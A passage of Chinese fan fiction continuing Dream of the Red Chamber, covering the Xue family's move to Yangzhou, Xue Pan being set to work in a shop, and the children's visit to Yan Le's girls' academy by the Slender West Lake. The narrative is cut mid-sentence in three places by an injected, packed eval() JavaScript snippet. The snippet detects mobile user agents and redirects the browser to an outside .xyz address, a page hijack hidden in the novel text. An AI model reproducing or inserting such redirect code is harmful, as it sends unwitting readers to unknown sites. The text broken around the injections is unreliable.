“姐姐···”薛姨妈轻声叫道,她一看到王夫人,眼泪先落了下来。 “你看你,一把年纪了,还是这么爱哭吗?”王夫人笑着将妹妹揽到怀里,自己却也落了泪。 自从她嫁到贾家,她们姐妹两个就再也没有见过。 姐妹俩哭罢笑罢,又都高兴了起来。 “看我,还没给你介绍呢。”薛姨妈拭去眼泪,笑着拉过宝钗,说道“这是我的女儿,宝钗。” 宝钗行过礼,又叫了一声“姨妈”。王夫人笑着两手拉起宝钗,细细端详着。 宝钗比黛玉探春略大一些,此时已如同春柳一般,出落得亭亭玉立。她眼如水杏,脸若银盆,好一种端庄体态。 王夫人摸摸宝钗的头发,点头笑道“真是个好孩子”,又对薛姨妈说“我看宝钗像你多一些。” “都说女儿像娘,可宝钗只是长得像我,性子却与我全然不同。”薛姨妈笑了笑,摸着宝钗手背,又道“只是这些日子,辛苦她里里外外地帮我操持,却清减了许多。”说罢,重重叹了一口气。 “妈怎么又说这事了,姨妈好不容易来,正是高兴的时候。”宝钗安慰母亲。 “我们之间有什么不能说的呢?”王夫人拉着宝钗,亲切说道“日后你与我们相处,越亲近越好呢!” 姐妹俩又各自说了一些事情,谈笑间也好似回到了还未出阁时的亲密。 不一会儿,有丫鬟通报,贾府二老爷到。 薛姨妈与王夫人对视一眼,薛姨妈吩咐丫鬟将贾政带到院子的上房,预备在那里见贾政。 “宝钗也同去,认认你姨夫。”王夫人拉着宝钗,笑说。 在正厅见到贾政,宝钗就先行了礼。贾政也是笑着拉起宝钗,夸了几句。 几人又寒暄一会儿,贾政就说起了此行的正事。 “如海已经将你们的事详尽告诉我了,妹妹可有什么打算吗?”贾政正色问薛姨妈。 薛姨妈叹了口气,也没什么隐瞒,直言道“虽说薛家也是家大业大,可惜他父亲走了之后,家中竟然找不到可靠的打点生意的人来!如今虽然空有皇商的名头,却只有一些仆人管家打点着,长此以往,没有主事人却不妥当。蟠儿年纪虽将将够学做生意,只是他那性子,却也指望不上。” 薛姨妈说到这里,又重重叹了一口气道“现在只能是靠着几个管家勉力支撑着,我却也无能为力。若撑不下去,也只能任由几个宗亲抢了去···” 宝钗边轻抚着母亲的脊背,边柔声安慰。 贾政与王夫人对视一眼,神色均是痛惜。 “妹妹不要担心。蟠儿的事情与薛家其他人的事情如海也都告诉我了,我和你姐姐来之前就商量了一下,今日前来,就是想与你们再做商议。”贾政柔声说道。 薛姨妈在宝钗的宽慰下慢慢收了悲容,又道“姐夫有什么就直说吧。” 贾政看了一眼王夫人,示意由她来说。 王夫人想了想,开口说道“不如你们一家暂时搬到扬州与我们作伴吧。住处与林家,我们家只隔了一条巷子,很是便利。另外咱们几家的孩子也可以一处学习玩耍。你若是担忧蟠儿的性子,怕他惹事,尽管交给你姐夫,他有办法。最关键是离开金陵,薛家的其他人也不好找你们的麻烦了。”王夫人说罢,细看妹妹的神色,“你也不要担心麻烦了我们。” 薛姨妈听了,先是惊喜,只是立刻想到了自家的生意,就又说道“姐姐姐夫有这样的安排我很高兴,我却也不担心麻烦你们。只是家里的生意却不好安排···” 宝钗在一旁静静听着,虽心里有事,但也没有说自己的想法。 贾政开了口“我想不如与内务府禀明,放弃皇商的名号看,就先只做其他的生意。这些生意由管家们来料理也无需担心,另外需要当家人出面的时候,不管是我或是如海,都可以做这个事,你们不用担心。” 贾政已经安排得如此妥当,薛姨妈自然没有不满意的。皇商的名号虽然传出去好听,但这些年下来,因为经营不善,也就只剩个虚名,放弃了也没什么。若能经营好其他生意,他们母女也就不需要为之后的事担忧了。 薛姨妈想到这里,便很诚恳地道了谢。 宝钗思考片刻,站了起来,认真说道“多谢姨夫姨妈为我们考虑,只是孩儿也想学做生意,为母亲分忧。”宝钗说罢,认真看向贾政。 “哪用得上你一个女儿家抛头露面呢?还没到那个地步呢!”薛姨妈心疼的搂住女儿。 王夫人虽然欢喜宝钗的懂事,却与薛姨妈一样,不赞成宝钗的话。 贾政看宝钗说得认真,心里也知道宝钗是深思熟虑之后才说出这句话的。而且她说这话偏偏是看着他,这说明宝钗知道,他有决定权,他的看法更有分量。 贾政笑笑,将宝钗拉到身前,柔声说“我知道你的担忧,只是现在听你母亲的话比较好。” 宝钗略显失望地点点头,贾政却靠近宝钗耳畔,轻声说“你想做的事等咱们回了扬州再慢慢商量好吗?”说罢,贾政调皮地眨眨眼睛,又笑了一下。 宝钗眼神中的惊喜一闪而过,恭敬地回到了母亲身边。 大事已经议定,几人之间的谈话也就不再那么严肃,商量了一会儿搬家的事情。 “我们走前要不要去兄长那里拜访一下?”薛姨妈对王夫人提议道。 她说的兄长是王子安,王熙凤的父亲,前几年辞了京城的官,也回到了金陵。 王夫人看向贾政,贾政便点点头“应当如此的,只是没有带些京城的土产。” “那没什么,兄长这些年很是不在乎那些俗礼。”薛姨妈又说“前些日子他也来看我们,宽慰我,又叹息他没什么可以帮我的。兄长告诉我若是有什么困难,去京城投靠二哥与姐夫也都可以。” 王夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947725|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点头“大哥为人淡泊,从来如此。” 接下来五六日,薛姨妈与宝钗忙着打点行李上路。因为金陵扬州相距很近,他们也就没有带许多东西,只是一些贵重物品与衣物。主要的事情是处理薛府的下人。 家里的下人只留一半看守宅院,其余的便白送了身契让他们离开,又打发了几两银子做盘缠。 薛姨妈还亲自将各店铺的管事聚到一起,敲打了几句。另外五六个生意上的负责人,也都由贾政与薛姨妈亲自叮嘱过了。 贾政的意见是这些人先用着看,让他们之间互相监督,若有人暗中搞小动作,就直接不用,薛姨妈也同意了。 这几日,宝钗时时都陪在母亲身边,无论是宅院的事务或是生意上的事,宝钗都细心学习着母亲的做法。 其间,贾政亲见了薛蟠,并对他好一番严厉敲打。薛蟠因为上次差点打死人的事情,也有所收敛,自己心里又害怕这个不苟言笑的姨夫,接连几日,都待在屋子里读书习字,不敢出去惹事。 贾政除了帮助薛姨妈打点生意上的事情,也注意着金陵的漕运情况。 他虽没有正式办理公事,却留心所看到的来往货船。官船的押送官员如何处事,有哪些货物,民间货船的船工闲聊时又说些什么。贾政深知,许多事情只有亲身体会才能融合成自己的心得,光靠看公文是办不好公事的。 他之所以如此留心,也是因为来扬州前李郎中说的话。他担心扬州有什么陷阱正等待着他。 在王夫人与宝钗的帮助下,薛姨妈终于将大小事务处理了妥当。与贾政商议过,便定好了两日后的客船到扬州。 他们启程的前一天,一起去了金陵王家。 去年贾母寿辰,贾政就见过王子安夫妇,当时只是寒暄了几句。 王子安见到两个妹妹与妹婿,也很高兴,言谈中总是笑着的。 “姐夫前几日来金陵,建议我们母女暂时去扬州住段时间。既可以避免薛家其他人因为家产闹事,几个孩子互相也有个陪伴。”薛姨妈对大哥说道。 王子安笑着点点头,对贾政说“你在朝为官,说话做事自然更有分量,我也多谢你帮衬她们。” “只是我自己自从离了京城,有心帮扶妹妹,却力不从心。”王子安难得叹了口气。 “大哥本来过着闲云野鹤的日子,今日反而被我们打搅了。”薛姨妈有些不好意思。 王子安摆摆手,“不用挂怀,我只是随口说说。”他又看向了贾政,问道“不知我那女儿在贵府可还懂事?”问的是王熙凤。 贾政笑笑“凤丫头最是聪慧能干不过了。” 王夫人也说“正因有她在,我才能放心到扬州来。府里诸事全靠她料理,老太太对她更是喜欢的不得了。” 王子安很是满意,点点头“凤丫头自幼就是个好的,从来不让我们操心。至于她哥哥,孩子大了,我管教不好,也就如此了。”说罢叹口气。 王夫人宽慰道“仁儿如今在京城他叔父府上,二哥教育子女向来严厉,仁儿也不会有什么事的。” 王子安听了仍是神情凝重。 众人又谈笑一会儿,王子安的夫人已经吩咐好了酒饭,留他们用饭。 饭罢,王子安要留他们,王夫人与薛姨妈婉拒了,因为次日他们就要启程去扬州。 “大哥什么时候想来扬州游玩,提前给夫人来封信。我们好招待兄嫂。”王子安夫妇将他们送到门口,贾政便邀请他们去扬州。 王子安夫妇都是笑着应了。 回去的车上,贾政笑说“大哥是难得的明白人。” 薛姨妈虽然疑惑,却附和道“大约大哥是喜欢这种散漫的日子吧。” 王夫人轻轻摇摇头,叹道“也许大哥是身不由己。儿女都已成家,他也没什么牵挂,回到金陵,也是好事。” 王子安身为长子,为官却不上不下,远不及弟弟。不如早日离开京城,弟弟在京城也就没有什么顾及了。至于族长也是虚名,王家上下自然知道如今王家的实际话事人是王子腾。虽然王子安在这方面清醒,却又不放心子女。只能做半个闲云野鹤了。 27. 瘦西湖畔访名师 回到扬州,周瑞媳妇帮薛姨妈料理事情,安置好了行李与下人。 随后众人都聚到了林家。 黛玉和探春早就听说宝钗品貌端庄,今日一见,果然不同凡响。 姐妹两个又注意到宝钗身着孝服,发间也簪了一朵白花,更激起她们心中的怜惜。 只有宝玉一直有个容易犯傻的毛病,见了宝钗也是痴痴看着,回过神来,才有些不好意思地偷偷看了黛玉一眼。黛玉顽皮地回看过来,宝玉摸摸头,笑得尴尬。 宝钗向林如海行过礼后,便与姐妹们一处玩去了。 只有薛蟠坐在旁边,看着上首的林姑父与贾姨夫,心里很是担忧,自己接下来的日子不会好过了。 “蟠儿去与宝玉他们一起玩,不用坐在这里。”林如海笑着对薛蟠说。 薛姨妈也附和道“蟠儿你去玩吧,记得乖巧些。” 薛蟠向几位长辈行了礼,出去了。 薛蟠出了正厅,在仆人的指引下找到了正在花园玩闹的四姐妹。他见黛玉探春宝玉都是万中无一的品貌,心里也欢喜,想与他们一起玩。只是因为薛蟠胸无点墨,言行又粗俗,纵使姐妹们有心关照他,他自己心里也不自在,觉得融入不进去。 在旁边跟着走了一会儿,薛蟠就觉得无趣,既听不懂她们说的话,也烦恼妹妹宝钗不时的劝诫话语,心思一转,打算出府去玩。自己找了个借口,向姐妹几个告辞,便带了贴身小厮,急吼吼地走了。 宝钗看着薛蟠急匆匆的身影,摇摇头,轻轻叹了口气。 黛玉和探春都是心思细腻的,见宝钗神情略显苦闷,便明白了原委。 “宝姐姐莫忧,大哥哥的事情还有姨妈去管,你做妹妹的劝得多了反而惹他厌烦。况且老爷说过了他会帮忙管教的。”探春边说话,边搂住宝钗肩膀,柔声劝慰。 “宝丫头年纪轻轻却愁思太多,我怕明日我再见到你,你脸上就有许多皱纹了,像老婆婆那样。”黛玉故意打趣宝钗,也是想让她不要再去想烦心事。 “我定知道宝姐姐老了是什么样子。”宝玉边笑边学宝钗。 “宝姐姐肯定不同于一般老妇人”宝玉笑道,只见他略微佝偻了身体,沉着声音道“我说你这丫头,今日的书怎么才背了一篇,应当要背诵十篇才对嘛!” 言行颇像是一位一辈子端庄稳重的贵妇人。逗得姐妹几个大笑不止,宝钗也不再面露愁容了。 宝钗清咳了一声,说道“要我说呢,咱们姐妹几个的确应当多读些有用的书,学些针织纺线的本事···” “瞧这宝丫头!怨不得宝玉打趣你呢!”黛玉手指着宝钗,笑道。 “宝姐姐说的在理。在京城时我们几个本来由珠大哥日日带着读书习字,那时老爷也时常教导我们。”探春笑罢,又认真对宝钗说道。 “姨夫也亲自教导你们吗?”宝钗好奇道。 黛玉探春宝玉都点点头。 “以前父亲总是逼我读书写字,现在倒不那么做了。”宝玉感叹道。 “没有舅舅督促你,你便不读书了吗?”黛玉笑问宝玉。 宝玉摆摆手“我哪里敢呢?你们三人个个都是大才女,我若再不读书,以后就听不懂你们的谈话,岂不是也要无处容身了吗?” 宝玉说罢,见宝钗眼神一暗,自知失言,讷讷坐了下来。 “宝姐姐,咱们去林姐姐屋里玩,她有许多姑父添置的好书呢!”探春对宝钗说道。 “就知道你这三丫头惦记我的宝贝了!”黛玉哼了一声,笑道。 探春眉毛一挑,想起别的,又凑到宝钗耳边轻声说“还有许多地理杂志,话本集子,都很有趣呢!” 宝钗听了,轻轻笑了一声。 “不知道你们又在算计什么东西了。”黛玉假装无奈,摊开手,“我也只好为了博美人一笑,将所有宝物尽数献上了!”说罢捂着手帕,大笑了起来。 “林姐姐肯定背着咱们偷看了不少,不然哪里学的这种做派!”探春笑骂道。 宝钗也笑起来,心里也喜欢黛玉与探春的性格。 姐妹几个玩笑间,便去了黛玉的屋子。 宝玉却不知什么时候蹲在地上摘起了花,回过神时突然不见了几个姐妹,只看到消失在拐角处的淡黄色衣角。忙追上去,边跑边喊“你们也不等我!” 此时在林府正厅中,几家的长辈仍在闲聊。 “咱们三家现在两位公子,三位姑娘,我想不如聘两位先生教他们读书?”林如海看看贾政与薛姨妈,问道。 “这些我就不懂了,林姑爷与姐夫看着安排就好。”薛姨妈笑道。 贾政抿了一口茶,说道“我也正有此意,只是不知道扬州可有适合他们的书院吗?” 林如海点点头“扬州文风兴盛,书院确实不少,送宝玉和蟠儿去书院倒也合适。”说罢顿了顿“只是单收女学生的书院我却只知道一处。” “哦,真的有吗?”贾政兴趣正浓,又问道。 “也是江南一带颇有名气的一位才女开办的,已有二十多年了。只是我听说是十多位学生同时上课,所以我担心···”林如海欲言又止。贾家毕竟是公侯之家,重视规矩,他认为贾政也许不太愿意送女儿去的。 “既然名声在外,想必这位先生是很有才华的。这几日找时间正好过去看看。我想孩子们也不可整日拘在家里,每日去学堂读书,既可以多认识一些同龄的姐妹,也对外面的事务多一些了解。”贾政笑道。 林如海赞道“存周果真不拘小节,这也是好办法。我也觉得姑娘整日养在深闺难免孤单寂寞,你说的正合适。” 薛姨妈因嫁到薛家多年,思想也开通些,对宝钗的管教也不很严苛,因此听到他们二人的提议也笑着赞许。 王夫人自是知道贾政办事妥帖,今日既然如此提议肯定早就盘算过了。因此王夫人也没说话,笑着为贾政添了茶。 “那么明日咱们就带着孩子们,去扬州城里好好转一转,顺道去看看那所书院,如何?”林如海提议道。 众人无不同意。 当晚,宝钗与黛玉探春睡在一起,姐妹三人初次相见,又很投缘,互相更是说不完的话。 只是薛蟠竟然在外玩闹到很晚才回了家。贾政晚饭时没见到薛蟠,便料到他是跑出去了。 贾政让王夫人带着薛姨妈一起睡了,自己在大厅等着薛蟠。 薛蟠溜进贾府后,看到正厅仍亮着灯,心里便有些害怕,想退出去从侧门进院子。 却听到一声清咳,接着是茶杯重重放在桌案上的声音,薛蟠立刻知道那里坐的是贾政。 “怎么不过来行个礼再去睡觉呢?”贾政的声音沉稳有力,将薛蟠拉回来正厅,他实在害怕这位不怒自威的姨夫。 薛蟠颤巍巍走过来,行过礼,却不敢开口。 “出去玩到现在吗?”贾政直视着薛蟠,问道。 薛蟠颤声说道“只是出去随意转了转,本来想早点回来,在外面遇到一个熟人,耽搁了一会儿。” 自薛蟠进来,贾政就闻到那股浓重的酒气。只是暗自摇摇头,也没点破薛蟠的隐瞒。 “你父亲不在了,我也有义务帮忙管教你。”贾政语气柔和,边说话边又抿了一口茶。 “明日让你去铺子里学做生意如何呢?”贾政问道,似是商量的语气。 薛蟠并不情愿,他不想整日被铺子里的老头子盯着,看那些密密麻麻的账本,太也无趣。只是现在却不能违抗贾政。虽然这个姨夫还没有很严厉地教训过他,但直觉告诉他,姨夫不好惹,若真的下了狠心,只会比他父母更严苛。 薛蟠无奈,只能应下了。贾政见薛蟠识趣,便让他回屋休息了。 毕竟薛蟠现在是薛家的当家人,为了薛姨妈与宝钗日后的生活,贾政已经预备了十足的手段来管教薛蟠。 薛蟠才十来岁,已经做出指挥仆人把别人打个半死的荒唐事情,若是再不严加管教,日后只会变本加厉。薛姨妈宠溺独子,不舍得太严厉,宝钗的话薛蟠又不听,那么他这个做姨夫的就责无旁贷了。 贾政已经想好了为薛蟠规划的道路,读书做官是不可能了,只希望他能懂些道理,做个平常的好人,日后只要能维持住家业,那就很好。 次日一早,贾政就与薛姨妈说了让薛蟠去铺子里学生意的事情。 薛姨妈本就有此意愿,只是儿子不愿意她也不好强逼。如今贾政既然说通了薛蟠,那薛姨妈自然高兴答应了,只是还想多吩咐几个小厮在身边伺候着。 贾政摇摇头“不要太惯着他,就派一个贴身小厮,我这边再吩咐两个得力的手下帮忙看着。让薛管家去你们的一处店铺打个招呼就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947726|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛姨妈却觉得有些简单,还欲再说时,却被贾政打断。 “让他先从伙计学着做起,先做杂活,磨磨性子。”贾政又道。 薛姨妈又想想贾政是为了薛蟠好,便也同意了。于是薛姨妈吩咐薛管家去一处布料铺子打招呼,只说让薛蟠从伙计做起,不需要优待。 薛蟠见母亲与姨夫已经做了决定,自己也不敢拒绝,担心姨夫将他昨夜醉酒的事情说给母亲。薛蟠辞别三位长辈后,便跟着薛管家一起走了。 “那咱们也走吧?”贾政笑着对王夫人与薛姨妈说道。 随后,三人去了林府。 林如海一早就告诉四个孩子说今日要出去玩,她们也早准备好了。四个大人,带了四个孩子便出门游玩了。 先是在附近的街市转了转,让孩子们挑了一些喜欢的玩意儿。 今日和风煦日,正是适合外出游玩的好日子,他们从街市罢了,就坐了轿子去瘦西湖,林如海所说的那所书院正在瘦西湖畔。 瘦西湖历经几朝修建,集南方园林的秀美于一身,是赏玩江南园林与湖光山色的绝佳去处。 他们一行人下了轿子,孩子们便沿着湖畔信步玩闹。 王夫人吩咐了几个丫鬟跟着,也就不再担心。袭人和锦屏都是贴心周到的,宝钗更是稳重,断定不会出什么事的。 湖畔有亭台楼阁,柳荫花丛 ,如此走走停停,也很有趣味。 “前面那处屋舍便是书院了吗?”贾政指了指,问林如海。 林如海看罢点点头,“我只知道书院在湖畔,瞧这这处房舍盖的与湖边其他的却很不同,应该就是了。” 正在此时,飘过来一片乌云,天空开始落雨。而别处却是蓝天白云,一片晴朗。孩子们正好也都回来了。 王夫人与薛姨妈见孩子们都没有淋雨,也很满意。 “咱们不如去前面那里避会儿雨,如何?”林如海笑着问孩子们。 “旁边也有亭子,为什么偏要去那里呢?”宝玉还想在外面玩,因此不太愿意。 “只是听说那所屋舍有什么更有趣的玩意,我与你林姑父都没见过呢!”贾政摸摸宝玉脑袋,笑着说。 宝玉很快有了兴趣,“那我们快去吧!” “这孩子,变得倒是快。”王夫人在宝玉头上戳了一下,笑着说。 谈笑间,一行人便走到了书院门前。只是走近了才知道,这里竟然是两处院子,离得很近,房屋风格都相似,远看便不好区分。 门口各有匾额,一处是白鹿书院,一处是清崖书院。前者笔墨灵动潇洒,后者敦厚质朴。 “原来是两所书院。”宝玉笑道。 黛玉看过两处匾额,也喜欢这两幅字,忍不住说道“这两位写字的老师,风格却很接近。” 探春点点头,“虽然乍一看是两种风格,却像是师承一人。” “我却觉得这两人的笔墨毫不相干。”宝玉不太赞同。 宝钗笑笑,没说什么。 “你们几个孩子,先在人家门口点评上了,这可不太符合礼节。”贾政笑道。 黛玉探春都有些不好意思,主人若是在家,他们这样确实唐突了。 “玉儿探春别担心,童言无忌嘛。”林如海摸摸黛玉和探春的头,笑着安慰她俩。 此时白鹿书院里走出来个一袭青衫的女孩子,年纪看着也不大。 她走到门口,先行了礼,贾政等人拱手还礼。 那姑娘和气说道“我家先生让我出来看是否有客人在外,若是客人想进书院参观,她很欢迎各位。” 贾政笑说“多谢先生美意,我们几个正是想来参观的。” “只是先生正在上课,只能等先生讲完了再来会见诸位。”姑娘客气道。 “无妨,我们也想看看先生授课。”林如海说道。 那姑娘又看看林如海身旁男女四个孩子,心里明白了这些人的目的。 于是笑笑,引着一行人进了书院。 书院内部像是个缩小版的瘦西湖,里面也有一小湖泊,几处亭台,花园假山,乔木花丛。还有十来间屋舍,其中一间大的,正传来学生们清脆的读书声音。 贾政叮嘱孩子们放慢脚步,他们慢慢走到门口,听着里面的声音。 正在讲课的老师就是林如海之前提到的扬州才女,晏乐。 28. 且放白鹿青崖间 此时晏乐正讲到《庄子》,其中一句“子非鱼安知鱼之乐” 晏乐读罢,就问道“哪位可以为我们讲一个蕴含了这句话意思的故事呢?要求必须是自己亲身经历的。”晏乐问完,眼神向窗外瞥了一眼,微笑着对林如海与贾政点点头。 此时学生们陆续有了回答,屋内传来了讨论的声音。 林如海与贾政听了一会儿,满意地笑笑。 随后,林如海悄声退后,向贾政王夫人薛姨妈与几个孩子,讲了这位晏乐老师的经历。 二十多年前,年仅十七岁的晏乐不知道用了什么方法竟然参加了科举考试,还入了殿试。 只是在殿试时被人揭穿了身份。那时皇帝却没有恼怒,当场吩咐中书省的官员从几十部经书中抽取题目考她,竟然全通过了。只可惜既然是位女子,便不能授予官职,晏乐也无意在后宫做女官,因此皇帝只能给了她个虚衔。 纵使如此,晏乐其名,一时间广为流传。 林如海说罢,轻轻叹了一口气,又道“当时我们那些读书人也很敬佩她,只是一直无缘相见。后来再知道她的名字,便是在扬州办了一所书院。” “这位晏老师教书确实很好”贾政赞道“既能启发学生思考,又教他们联系实际。” 孩子们个子矮,看不到老师的容貌,却也对她很感兴趣,刚才听了她授课时的声音,就很有兴趣了。 “姑父与姨夫今日是特意带我们来书院访名师的吗?”宝钗笑笑,轻声说道。 林如海与贾政笑了笑,不置可否。 “若是能来这里读书,我们三姐妹日夜作伴,真是好事!”探春一左一右揽着黛玉和宝钗的手臂,笑着说。 “那我也要一起来这里读书!”宝玉急忙说道,他可不能被姐妹们落下了。 贾政刚想说这是只收女子的学堂,却被学生们的声音打断了。 学生们陆续走出屋子,都穿着统一的青衫,有说有笑,完全不像其他学堂那般沉闷。放眼望去,全是女孩。 宝玉傻了眼,好像也明白了。贾政摸摸宝玉的头,没说什么。 晏乐走了过来,几个孩子恭敬向未来老师行了礼。 晏乐与薛姨妈年纪相仿,只是言行中更多些书卷气。她的眼睛像是时刻都在观察,显示出她对万事万物的好奇。这种气质很难得。 三个姑娘都有礼有节,举止也很优雅,晏乐看了心里满意,就邀请众人去她书房坐。 王夫人与薛姨妈还想看看书院其他地方,就没有一起去。 晏乐的书房再朴素不过了,少有的一些装饰物,看样子也是手工艺品,贾政很是怀疑那是她自己做的。 众人刚一落座,就有书童来倒茶。 喝过茶,林如海先说明了来意。 “多年前就听过晏老师的大名,没想到今日一见果然不同凡响。”林如海笑着称赞。 晏乐轻笑“不过一教书先生罢了。” “晏老师何必自谦呢!”林如海又说。 晏乐没再自谦,自然接受了林如海的夸赞。 “各行各业,老师却是最难做也最重要的。”贾政笑说“哪个做父母的不忧愁下一代的教育呢?” 晏乐点点头,“只是我所收的学生中却是不拘家世等级的,若是二位不想让女儿与小门小户的女孩一起读书,那今日就当随意参观吧。”晏乐一眼就看出林如海与贾政家世不凡,因此先说了她的要求。 贾政摆摆手回道“我们并不在意这个” “我也不愿意被请到府上专做几个人的老师。”晏乐又说。 林如海笑了“晏老师的确很坦诚。” 晏乐笑笑“经历的多了,自然提前说清楚比较好。” “我们做父母的自然全无要求,只要晏老师愿意收下她们几个,孩子们也愿意来这里读书,我们并无意见。”贾政看了看林如海,明白他意思,便说出了二人的一致想法。 晏乐微微点头,她很喜欢这样的父母。她笑着看向宝钗黛玉探春三姐妹,柔声问道“你们现读什么书?” 宝钗恭敬道“读过女书女德”,顿了顿又补了一句“也读过一些史书。” 黛玉也说“粗粗读过四书诗经,史书只是读过一些故事。” 探春有些不好意思“我读书没有两位姐姐多,四书只是翻过,又胡乱读过一些名家的帖子。” 晏乐却很满意了,这几个女孩虽是大户人家的,但读书不拘泥于规训女子的书,却很难得。眉眼中又很有灵秀气,晏乐很是喜欢她们,于是笑着点了点头。 贾政与林如海便看着几个孩子,贾政先问道“你们可喜欢白鹿书院?”并不顾及晏乐还在旁边,贾政问得很直接。 黛玉先回道“我很喜欢晏老师,也愿意与不认识的姑娘做同学。”说罢轻轻对宝钗和探春笑了笑。 探春又说“我与林姐姐相同,我也想来这里读书。”探春方才听了一会儿晏乐授课,就很喜欢了。 宝钗却有些犹豫“我想问晏老师,来这里读书需要日夜住在书院吗?”顿了顿又说道“母亲与哥哥初来扬州,我有些担心她们···” 晏乐回道“有些学生家离得远,便住在书院,若是离得近,每日前来上课就可以。我们每日一般上午授课,下午便是同学们读书讨论。”晏乐回答地很详细。“每十日休息一日。” 宝钗点点头,放了心“那么我想与母亲商议后再做决定,感谢老师体谅。”说罢,半蹲身子行了礼。 晏乐感念宝钗的孝心,宽慰道“不妨事的,我既愿意收你们做学生,那么随时等你们处理好了家事,都可以来这里读书。”言谈间,像是将宝钗当作同辈一样对待。 眼见着姐妹几个都有了去处,宝玉有些着急了,他轻轻扯着贾政的袖子,轻声说“老爷,我也要来这里读书!” 贾政无奈,还是要为宝玉争取一下。 “晏老师,不知书院是否收男学生?”贾政问晏乐,没抱什么希望。 晏乐轻笑着摇头“白鹿书院只收女学生”。她眼看着宝玉失望地低了头,又补了一句“隔壁的青崖书院倒是收男学生的。” 宝玉听了,眼前一亮,若能去青崖书院,也是不错的,起码两处挨着,日后还是可以与姐妹们一同上学放学。 宝玉的神情不言而喻,贾政立刻明白了。 “那么这青崖书院的老师,晏老师可认得?”贾政问道。 晏乐笑说道“他现在好像只招了两个男孩子,今天上午又去附近的村子招学生去了。”说罢,又笑了一下,“他也是不拘小节,身为老师,走街串巷去招学生···” “烦请晏老师帮忙通传一下,请他收下宝玉做学生。”贾政恭敬请求。 晏乐点点头,看了眼宝玉,也没问什么,她已经大概能知道宝玉的个性了。富贵人家的小公子,自小与姐妹一起长大,千娇万宠的,不一定能在书院坚持几天。 晏乐并未直接劝他们放弃,这源于一种谨慎。她对宝玉并没什么意见,更没必要打击孩子的信心。 见晏乐应了下来,贾政很是感谢,拱手说道“那么过几日,我们便带着孩子来书院拜师行礼。”晏乐点头答应了。 离开白鹿书院,宝玉原本想去隔壁的青崖书院参观一下,但是先生又不在,他们也不好私自进去,就作罢了。 回去路上,孩子们都很高兴。还在湖边与一个披蓑戴笠的男子闲聊了几句。 那男子也与贾政年纪相仿,钓了好几条大鱼,孩子们又喜欢又羡慕。男子见几个孩子乖巧,就送了他们两尾鱼,孩子们连连道谢。 回到家里,宝钗便与薛姨妈说了去书院的事情以及自己的考虑。 “妈妈,白鹿书院的晏老师确实很好,我也喜欢与姐妹们一起读书。”宝钗说道“只是咱们刚到扬州,家里家外总有需要打点的事情。所以我想留在家里,为母亲分忧。书院的事情日后再说罢。” 薛姨妈很是心疼女儿的体贴,搂着宝钗,柔声说“你这孩子为什么总是委屈自己呢?” 宝钗摇摇头“女儿不觉得委屈。” 王夫人也心疼宝钗,接着说“你年纪还小,哪里需要考虑这么多了?既然到了扬州,你妈妈有我帮衬着,外面生意上的事情还有你林姑父与姨夫。你就只要好好读书,与姐妹们玩耍,别操心这些了。” 薛姨妈也附和着一起劝宝钗。 宝钗并不完全赞同王夫人说的话。自从父亲去世后,她日夜想的就是如何帮助母亲撑起这个家。其他人即使好心帮忙,但还需要自家人争气。 她那哥哥看起来已经不能成才了,她便责无旁贷地要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947727|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扛起家业。只是如今长辈们都宽慰她,她也不好拒绝。幸好书院每日只需要去半日,剩下的时间,她自己便可以陪伴母亲料理家事,或是学做生意。 想到这里,宝钗笑着对王夫人与薛姨妈点点头。 宝钗笑说“姨妈,你们真好!” 难得在长辈面前撒娇的话语,王夫人心疼地将宝钗搂在怀里,抚摸她脊背,宽慰道“就说了我与你姨夫都当你们是亲生子女看待,姑娘自有姑娘们要做的事。你们这个年纪还不用操心家事呢!”说罢,冲着薛姨妈笑了笑。 姐妹俩默契地同时想到了年幼时一起玩闹的场景。 贾政与林如海问过孩子们,他们一致同意三日后再去书院拜师,正式上课。这几日正好准备读书用品。 贾政因为在金陵耽搁了几天,不好继续闲在家里。次日他便去了衙门当差,孩子们读书的事情就交给了林如海,另有王夫人薛姨妈帮孩子们打点读书的用具。 其间,潘武与袁三保也到了扬州,贾政吩咐书文带袁三保去衙门交接。 贾政书房,他与潘武面对面坐着。 “吩咐你的事情,可有什么发现吗?”贾政问潘武。 “府里上下都很平静,没什么大事发生,老太太身体也好,有史家大姑娘陪着,成日里也很欢乐。”潘武说道。 “大老爷倒仍是整日在外玩乐···”潘武说到这里看了看贾政。 “有什么直说。”贾政说道。 潘武放了心。“大老爷看上了两个歌女,只是那两人与忠顺王爷有关系。大老爷因此不太高兴,暗地里打骂了那酒楼里的两个小丫鬟出气。后来不知道发生了什么事,大老爷又赔了酒楼几千银子,再没去过那里。” 